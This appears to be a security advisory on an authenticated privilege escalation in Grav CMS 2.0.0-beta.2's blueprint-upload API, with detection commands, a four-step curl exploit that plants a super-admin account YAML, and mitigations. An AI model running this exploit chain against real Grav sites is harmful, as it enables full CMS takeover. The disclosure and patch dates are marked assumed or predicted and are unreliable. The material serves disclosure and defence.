Listen to this Post
How the CVE works:
The vulnerability resides in Grav 2.0.0-beta.2 API plugin’s `/api/v1/blueprint-upload` endpoint. A low-privileged authenticated user with `api.media.write` permission can control the `destination` and `scope` parameters. By setting `destination=self@:` and scope=users/anything, the server resolves the filesystem write target to user/accounts/. The upload handler does not validate or block YAML files. An attacker uploads a malicious `pwned.yaml` containing a Grav account definition with a plaintext `password:` field. Grav accepts this YAML as a new user account upon next authentication. The attacker then logs in using the supplied credentials. The newly created account inherits `api.super` privileges because the YAML includes access.api.super: true. This grants full API administrative control. The vulnerability chain: authenticated low-privileged API user -> arbitrary YAML write to accounts directory -> instant account creation with super admin rights -> full CMS compromise. The issue arises from lack of path sanitization and missing file-type restrictions in the blueprint upload controller. Affected code spans multiple files: ApiRouter.php, BlueprintUploadController.php, and AuthController.php. The attack bypasses all normal account creation workflows. No additional validation or privilege checks occur after file write. Exploitation requires network access to the Grav API endpoint.
Platform: Grav CMS
Version: 2.0.0-beta.2
Vulnerability: Authenticated privilege escalation
Severity: Critical
date: 2024-10-15 (assumed disclosure)
Prediction: Patch by 2024-11-01
What Undercode Say:
Analytics – Bash commands to detect exploitation:
Check for unexpected YAML files in accounts directory
find /path/to/grav/user/accounts/ -name ".yaml" -mtime -7 -exec ls -la {} \;
Audit API logs for blueprint-upload requests
grep "blueprint-upload" /path/to/grav/logs/api.log | jq '.'
Verify low-privileged token usage with scope=users
grep -E '"scope":"users/."' /path/to/grav/logs/api.log
Monitor failed then successful auth for new accounts
journalctl -u grav | grep -E "auth/token.pwned"
Exploit:
Step 1: Get low-priv token
curl -X POST http://127.0.0.1:8123/api/v1/auth/token \
-H "Content-Type: application/json" \
-d '{"username":"uploader","password":"Upload123A"}' | jq -r '.access_token' > token.txt
Step 2: Upload malicious account YAML
curl -X POST http://127.0.0.1:8123/api/v1/blueprint-upload \
-H "X-API-Token: $(cat token.txt)" \
-F "destination=self@:" \
-F "scope=users/anything" \
-F "[email protected]"
Step 3: Login as pwned
curl -X POST http://127.0.0.1:8123/api/v1/auth/token \
-H "Content-Type: application/json" \
-d '{"username":"pwned","password":"Passw0rd!123"}' | jq -r '.access_token' > admin_token.txt
Step 4: Verify super access
curl -X GET http://127.0.0.1:8123/api/v1/system/info \
-H "X-API-Token: $(cat admin_token.txt)"
Protection:
- Upgrade to Grav >= 2.0.0-rc.1 or apply patch that validates destination/scope to prevent path traversal out of expected blueprint directories.
- Restrict `api.media.write` to trusted users only; revoke unnecessary permissions.
- Implement file-type whitelist in blueprint upload handler; reject YAML files unless explicitly needed.
- Add filesystem write rules to disallow `user/accounts/` writing via API.
- Enable request logging and monitor for suspicious `scope=users/` patterns.
Impact:
Full administrative compromise of Grav CMS. Attacker gains unrestricted API super admin access, enabling arbitrary content modification, configuration changes, user management, plugin/theme installation, and potential remote code execution via template or package workflows. The CMS becomes fully controlled by the attacker, leading to data breach, defacement, or further server compromise.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

